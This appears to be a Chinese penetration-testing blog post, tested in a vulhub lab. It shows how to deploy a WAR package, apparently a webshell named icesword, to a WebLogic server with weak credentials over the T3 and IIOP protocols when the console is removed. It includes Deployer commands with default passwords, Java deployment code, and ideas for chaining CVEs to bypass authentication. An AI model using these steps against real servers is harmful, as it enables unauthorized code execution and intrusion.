水文一篇,主要应对存在弱口令但删除了Console的情况。
重点说三遍: 需要账号密码、需要账号密码、需要账号密码
几处登陆点(HTTP/T3/IIOP)共用账号锁定,只要加起来错误过五次,就会锁定半个小时。
最常见做法:HTTP console应用部署
最常见方法,此处略过。
可以参考:https://www.cnblogs.com/DFX339/p/8515200.html
通过T3协议部署war包
前提条件:开放了T3协议(默认),并且前面没有Nginx类的反向代理。
不知道为什么直接用自带的weblogic.Deployer类连接不上,
java.exe -cp weblogic.jar -Djava.ext.dirs=. weblogic.Deployer -adminurl t3://localhost:7001 -username weblogic -password weblogic123 -deploy f:\test\icesword.war -remote -upload
一直提示:
Unable to connect to ‘t3://localhost:7001’: null. Ensure the url represents a running admin server and that the credentials are correct. If using http protocol, tunneling must be enabled on the admin server.
此处换用部署代码,需要包含weblogic中lib和module中的库。
import weblogic.deploy.api.tools.*; //SesionHelper
import weblogic.deploy.api.spi .*; //WebLogicDeploymentManager
import javax.enterprise.deploy.spi.Target;
import javax.enterprise.deploy.spi.exceptions.DeploymentManagerCreationException;
import javax.enterprise.deploy.spi.exceptions.TargetException;
import javax.enterprise.deploy.spi.status.DeploymentStatus;
import javax.enterprise.deploy.spi.status.ProgressObject;
import java.io.File;
public class T3 {
public static void main(String args[]) throws DeploymentManagerCreationException, TargetException {
String protocol="t3";
String hostName="192.168.92.128";
String portString="7001";
String adminUser="weblogic";
String adminPassword="Oracle@123";
WebLogicDeploymentManager deployManager=SessionHelper.getRemoteDeploymentManager( protocol,hostName,portString,adminUser,adminPassword);
DeploymentOptions options = new DeploymentOptions();
Target targets[]=deployManager.getTargets();
Target deployTargets[]=new Target[1];
deployTargets[0]=targets[0]; //admin server
System.out.println(deployTargets[0]);
System.exit(0);
String appName="icesword";
options.setName(appName);
ProgressObject processStatus=deployManager.deploy(deployTargets, new File("f:/test/icesword.war"), null,options);
DeploymentStatus stat = processStatus.getDeploymentStatus() ;
System.out.println("For icesword DeploymentStatus.getState(): " + stat.getState());
}
}
运行提示:
可以正常访问,此处就不截图了。
emm 通过T3协议,还是得走HTTP的DeploymentService接口进行war包上传,具体看下面IIOP的吧
通过IIOP协议部署
这个在测试过程中,用vulhub中的weblogic docker无法正常连接,
因为docker的实际IP是172.19.0.2的,而IIOP在握手以后,会返回一个重定向的响应,重定向到该IP,
解决方案(适用于IIOP反序列化):
自己建一个weblogic.iiop.IOPProfile
类,修改read(IIOPInputStream var1)
方法
在ConnectionKey var4 = new ConnectionKey(var1);
后加入
Channel remoteChannel = var1.getEndPoint().getRemoteChannel();
var4 = new ConnectionKey(remoteChannel.getInetAddress().getHostAddress(), remoteChannel.getPublicPort());
由于ConnectionKey(IIOPInputStream var1)
构造方法,会从输入流中读入数据,如果单纯的修改此行,会导致后续流读入不正常。
修改好的Java文件:https://gist.github.com/fnmsd/b3e90da874d779f665b3ba06f9c93a31
把上面的代码中protocol改为iiop即可通过IIOP协议进行部署。
但是抓包发现,war包是通过/bea_wls_deployment_internal/DeploymentService
这个接口进行上传的(CVE-2019-2618的文件上传漏洞和一个反序列化漏洞是通过这个接口)
请求:
响应:
可以看到,包含上传后的文件位置
思考:
-
IIOP的部署报文中会看到这个绝对路径,也就是说如果该HTTP上传接口关闭的情况下,能否通过其他上传漏洞+获取绝对路径进行部署
-
或者能否单纯通过IIOP协议进行上传?
-
能否结合Weblogic IIOP反序列化(CVE-2020-2551)绕过认证进行部署?
部署报文:
通过HTTP协议(DeploymentService)进行部署
这回直接协议改成HTTP是不行了,会报一个很奇怪的错误
抓包发现:
HTTP 隧道被禁用。
需要在服务器配置中启用HTTP隧道,启动后可以使用,但是这样做非默认配置意义不太大了。
暂时还没找到别的点可以通过HTTP进行部署。
参考
https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password
https://stackoverflow.com/questions/28002527/how-to-deploy-a-war-file-using-t3-protocol-weblogic-with-java
https://medium.com/@krishankantsinghal/deploying-undeploying-ear-war-to-weblogic-server-using-weblogic-deployer-62ca65c53ee6